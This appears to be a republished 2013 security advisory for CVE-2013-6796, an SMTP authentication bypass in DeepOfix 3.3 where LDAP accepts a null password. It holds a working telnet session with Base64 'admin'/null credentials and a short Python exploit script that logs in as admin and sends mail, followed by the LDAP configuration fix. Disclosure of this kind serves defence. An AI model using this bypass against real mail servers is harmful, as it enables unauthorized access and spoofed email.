首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DeepOfix 3.3 SMTP Authentication Bypass Vulnerability
来源: http://www.justanotherhacker.com 作者:Vazquez 发布时间:2013-11-20  
======================================================================================
Vulnerability:   Bypass authentication and gain unauthorized access to SMTP server
======================================================================================
Platform:        DeepOfix
Version:   <= 3.3 (All versions tested)
Vendor:    Deep Root Linux - http://www.deeproot.in
Date:      2013/11/06
Discovered by:   Gerardo Vazquez, Eduardo Arriols 
       [Pragsis-Security - http://pragsis-security.com/]
Severity:        7.5/10 (CVSS Base Score)
CVE:     2013-6796
======================================================================================
  
1. Background
**************************************************************************************
 DeepOfix is a free ISO of DeepRootLinux to mount a mail server providing users the 
 ability to send emails via SMTP, check e-mail via IMAP, access the files via FTP or
 SSH...
  
  
2. Problem Description
**************************************************************************************
 The vulnerability allows an attacker to bypass the authentication in the SMTP server
 to send emails. The problem is that the SMTP server performs authentication against 
 LDAP by default, and the service does not check that the password is null if this 
 Base64. This creates a connection "anonymous" but with a user account without entering
 the password.
  
 It is important to note that the same could be used with other services also 
 validate against LDAP.
  
  
3. Impact
**************************************************************************************
 An Attacker could login in the SMTP server knowing only the username of one user in the
 server and he could sends emails. One important thing is that the user "admin" always 
 exists in the server.
  
    
4. Expotation
**************************************************************************************
 To authenticate against the SMTP server can make the login is done using Base64, so if
 you enter the user "admin" and password null or '\0' in Base64 give us access server as 
 "admin" without checking the password.
  
   The credentials in Base64:
  
  User: "admin" ===> "YWRtaW4="
  Password: null ==> "AA=="  
  
   Example of how we could authenticate to the system:
  
        test@0-day ~ $ telnet deepofix.local 25
  Trying deepofix.local...
  Connected to deepofix.local.
  Escape character is '^]'.
  220 deepofix.local ESMTP 
  auth login        # In ASCCI:
  334 VXNlcm5hbWU6      # 334 Username:
  YWRtaW4=        # admin
  334 UGFzc3dvcmQ6      # 334 Password:
  AA==            # \0
  235 nice to meet you      
    
   Now we would be authenticated as "admin" so we could send emails from that account.
  
  
   Simple exploit in Python [exploit.py]:
  -----------------------------------------------------------------
  | import smtplib            |
  |                |
  | # Select the sender and the receivers        |
  | sender = 'sender@mail'          |
  | receivers = ['receiver@mail.com']        |
  |                 |
  | # Write the message            |
  | message = """              |
  |   From: From Sender <sender@mail.com>      |
  |   To: To Receiver <receiver@mail.com>      |
  |   Subject: NSA is watching you!        |
  |                 |
  |   This is a really important message... xD    |
  |   """              |
  |                 |
  | # Connect to the SMTP server and send the email    |
  | try:                |
  |   # server = smtplib.SMTP('deepofix.local', 25)     |
  |                 |
  |   # Auth login --> admin/null in Base64      |
  |   server.docmd("auth login")        |
  |   server.docmd("YWRtaW4=")        |
  |   server.docmd("AA==")          |
  |                 |
  |   server.sendmail(sender, receivers, message)           |
  |   print "Successfully sent email"        |
  |                 |
  | except:              |
  |      print "Error: unable to send email"            |
  -----------------------------------------------------------------
    
  
5. Solution
**************************************************************************************
 To solve the problem we have only ban the anonymous LDAP bind.
  
 It is done by editing /var/easypush/ldap/etc/openldap/slapd.conf and add
 the line "disallow bind_anon". After you restart the ldap service with:
  sv term slapd
  slapd sv status

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel bt8xx Video Drive
·DesktopCentral AgentLogUpload
·Avira Secure Backup 1.0.0.1 Bu
·Light Alloy 4.7.3 (.m3u) - SEH
·FreeBSD 10 nand Driver IOCTL K
·ALLPlayer 5.7 (.m3u) - SEH Buf
·FreeBSD 10 qlxge/qlxgbe Driver
·Boilsoft RM TO MP3 Converter 1
·Supermicro Onboard IPMI close_
·NETGEAR ReadyNAS Perl Code Eva
·Windows SYSTEM Escalation Via
·Pirelli Discus DRG A125g Passw
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved